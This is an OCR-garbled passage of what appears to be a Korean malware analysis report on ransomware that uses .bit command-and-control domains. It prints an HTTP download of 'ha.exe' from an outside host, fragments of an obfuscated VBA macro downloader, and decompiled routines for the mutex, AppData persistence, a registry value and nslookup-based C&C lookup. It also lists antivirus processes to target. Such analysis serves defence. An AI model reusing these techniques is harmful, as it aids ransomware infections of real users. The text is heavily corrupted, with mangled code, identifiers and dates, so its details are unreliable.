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GET|/ha.exe HTTP/1.1
Connection: Keep-Alive

Accept: */*

Accept-Language: ko

User-Agent: Mozilla/4.8 (compatible; Win32; WinHttp.WinHttpRequest.5)
Host: router. .biz:8888

HTTP/1.1 288 0K

Server: Mongoose/6.5

Date: Mon, 14 May 2818 18:82:53 GMT
Last-Modified: Sun, 13 May 2018 16:85%:84 GMT
Accept-Ranges: bytes

Content-Type: application/octet-stream
Connection: keep-alive

Content-Length: 249865

Etag: "5af86238.249865"

o —— S —————

cannot be run in DOS mode.
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' module: LENTEr

Attribute VB Name = "LINTEr™
Attribute VB_Base = "0{3EBO0S%17-9284-41D4-97A7-35DRADD343F5A} {665A82C2-D9C2-4563-9C8R-TCAOS1T7T72RFO}
Attribute VB GlobalNameSpace = False

Attribute VB Creatable = False = X |

Attribute VB PredeclaredId = Trus

Attribute VB Exposed = False ? ‘!" | CUsersPublic | |

Attributes VB TemplateDeriwved = False

Attribute VB Customizable = False D = e Eil @
Function fMxCBlwHeFAWKOFXhE (ByVal ajkHHSI _ o)1= -
Dim THIRTYrawCTEwLystgnam 2= Obis AOM W EAHEY =
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Chr(Tan{CDk1{l.5cidc3lt035d & Lhri{la = = )
|.
Set THIRTYrawCTEvIystgnim = VU4zhsBIZubJod - He e Favorites
THIRTYrawCTEvIvatgnZm. Open "GET™, ajkHHS] ‘L"d =2 X Libraries L
EHIF‘I‘F:&HCIK‘JIystgnEm. Send | I =3E TV |
Do While THIRTYrawCTEwIvatgnim. readyStatd i i
DoEvents = B0 EE|| b ZEreac |
Loop 5| = il
’ SN ELNTERE I il LES S b
B uice L ZgHOe i
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desktop.ini
M HEH EE putty.exe
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CGlobal\ pc_group=( Y&ransom _id=( ID)¢
J » .pc_group, ransom id~ 4 A PC ,
CPU CRC32 )
IstrcpyW(MutexName, L"GlobaltH##"');
uv7 = 1strlenW(MutexName) ;
Str_Kknife(&v16, &HMutexName[v7]);
CreateMutexW(8, 0, MutexName);
u8 = GetlLastError() == ERROR_ACCESS DENIED || GetLastError() == ERROR ALREADY EXISTS;
[ 1]
2.
~ WTEMP%) = C%APPDATAY%Microsoft\ &

6 ]exec ]

GetTempPathW(6x188u, Path);
if ( Compare_Str(CurrentProcessPath, (Path + 2)) )
{
v5 = CurrentProcessPath;
?
else
{
*String = "RWOP';
vig = B;
vi2 = 'DWBI’;
i3 = ‘RWOU";
v6 = 1strlenW(String);
RandStr_8(String, v6);
GetEnvironmentVUariableW(L"AppData’, Path, 68x1086u);
if ( Compare_Str(CurrentProcessPath, (Path + 2)) )
{
v7 = 2 * 1strlenW(CurrentProcessPath) + 10;
if ( tv1B || (v7 + v9) >= Ox868 )
v2 = 0;
wsprintflili(v2, L"W"'%s#"', CurrentProcessPath);
b
else
{
IstrcatW(Path, L"tHHMicrosoftii’);
lstrcatW(Path, String);
lstrcatW(Path, L".exe");
if ( *Drop_RansomFile{CurrentProcessPath, Path) )
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if ( RegCreateKeyExVW(HKEY CURRENT USER, SubKey, 8, 8, 8, 0xFB803Fu, 0, &phkResult, 8) )
return 6;
len Istrilenti(vl);

vh = ~(RegSetUalueEx¥W(phkResult, String, 8, 1u, vi, 2 * len) = 8);
RegCloseKey(phkResult);

1) C&C
C&C . Cnslookup ¢ C&C
J . J T

PipeAattributes.nLength = 12;

PipeAttributes.bInheritHandle = 1;

PipeAttributes.lpSecurityDescriptor = 8;

if ( tCreatePipe(&hObject, &hWritePipe, &PipeAttributes, 8)
return -1;

if ( tSetHandlelnformation(hObject, 1u, 8) )
return -1;

CreatePipe(&hReadPipe, &hWritePipe_ 213124, &PipeAttributes,

if ( fSetHandlelnformation{hWritePipe_ 213124, 1u, 8) )
return -1;

lpCommandLine 8 = UirtualAlloc(0O, 6x28606u, 6x3666u, 4u);

lpCommandLine = 1lpCommandLine_8;

if ( 1lpCommandLine 8 )

{

usprintfi{(lpCommandLine 0, vi48, u5);

Exec_Process_Pipe(lpCommandLine);
Read_Pipe(ul, v5);
VirtualFree(lpCommandLine, 0, 0x8006u);

[ 4]nslookup C&C

zonealarm.bit, ransomware.bit
[ 1
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2)

, , ID, , RSA . &

Qs

AVP.EXE, ekm.exe, avgntexe, ashDisp.exe, NortonAntiBotexe,
Mcshield.exe, avengine.exe, cmdagent.exe, smc.exe, persfw.exe,

pccpfw.exe, fsguiexe.exe, cip.exe, msmpeng.exe

[ 2
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